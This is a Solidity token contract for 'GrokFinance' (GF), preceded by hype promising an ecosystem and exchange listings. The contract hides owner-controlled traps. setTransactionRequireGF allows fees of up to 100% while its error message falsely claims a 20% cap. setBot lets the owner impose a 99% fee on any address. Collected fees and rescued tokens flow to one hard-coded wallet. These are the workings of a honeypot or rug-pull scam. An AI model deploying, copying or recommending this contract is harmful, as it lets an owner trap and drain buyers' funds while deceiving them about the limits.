/**
Grok Finance is committed to becoming the largest $Grok financial community. 
The members of the Grok Finance community are all from the early Grok community. 

We will plan to build a financial ecosystem for $Grok and will soon launch 
the Grok public chain, staking, NFT and other web3 gameplay. 

Let $Grok become the next $DOGE. 
Committed to promoting Grok to be listed on many exchanges and fly to the moon!

https://t.me/Grok_Finance
https://twitter.com/Grok_Finance


*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract GrokFinance is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "GrokFinance";
    string private constant _symbol = "GF";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10000000000 * (10**_decimals);
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = (_totalSupply * 1000) / 100000;
    uint256 private minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;
    uint256 private burnFee = 0;
    uint256 private totalFee = 3000;
    uint256 private sellFee = 3000;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver =
        0xCE3d8a1865BF94d22f5Cdee9f12B8B93C1e72dd4;
    address internal marketing_receiver =
        0xCE3d8a1865BF94d22f5Cdee9f12B8B93C1e72dd4;
    address internal liquidity_receiver =
        0xCE3d8a1865BF94d22f5Cdee9f12B8B93C1e72dd4;
    uint256 public _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 public _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 public _maxWalletToken = (_totalSupply * 200) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function OpenTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function shouldContractSwap(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            aboveMin &&
            !isFeeExempt[sender] &&
            recipient == pair &&
            swapTimes >= swapAmount &&
            aboveThreshold;
    }

    function setContractSwapGF(
        uint256 _swapAmount,
        uint256 _swapThreshold,
        uint256 _minTokenAmount
    ) external onlyOwner {
        swapAmount = _swapAmount;
        swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setTransactionRequireGF(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(1) &&
                sellFee <= denominator.div(1) &&
                transferFee <= denominator.div(1),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setTransactionLimitGF(
        uint256 _buy,
        uint256 _sell,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000);
        uint256 newTransfer = _totalSupply.mul(_sell).div(10000);
        uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function setInternalAddresses(
        address _marketing,
        address _liquidity,
        address _development
    ) external onlyOwner {
        marketing_receiver = _marketing;
        liquidity_receiver = _liquidity;
        development_receiver = _development;
        isFeeExempt[_marketing] = true;
        isFeeExempt[_liquidity] = true;
        isFeeExempt[_development] = true;
    }

    function setBot(address[] calldata addresses, bool _enabled)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < addresses.length; i++) {
            isBot[addresses[i]] = _enabled;
        }
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapThreshold);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee)
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmt > 0) {
            payable(marketing_receiver).transfer(marketingAmt);
        }
        uint256 contractBalance = address(this).balance;
        if (contractBalance > uint256(0)) {
            payable(development_receiver).transfer(contractBalance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (
                burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee
            ) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
        if (recipient == pair && !isFeeExempt[sender]) {
            swapTimes += uint256(1);
        }
        if (shouldContractSwap(sender, recipient, amount)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}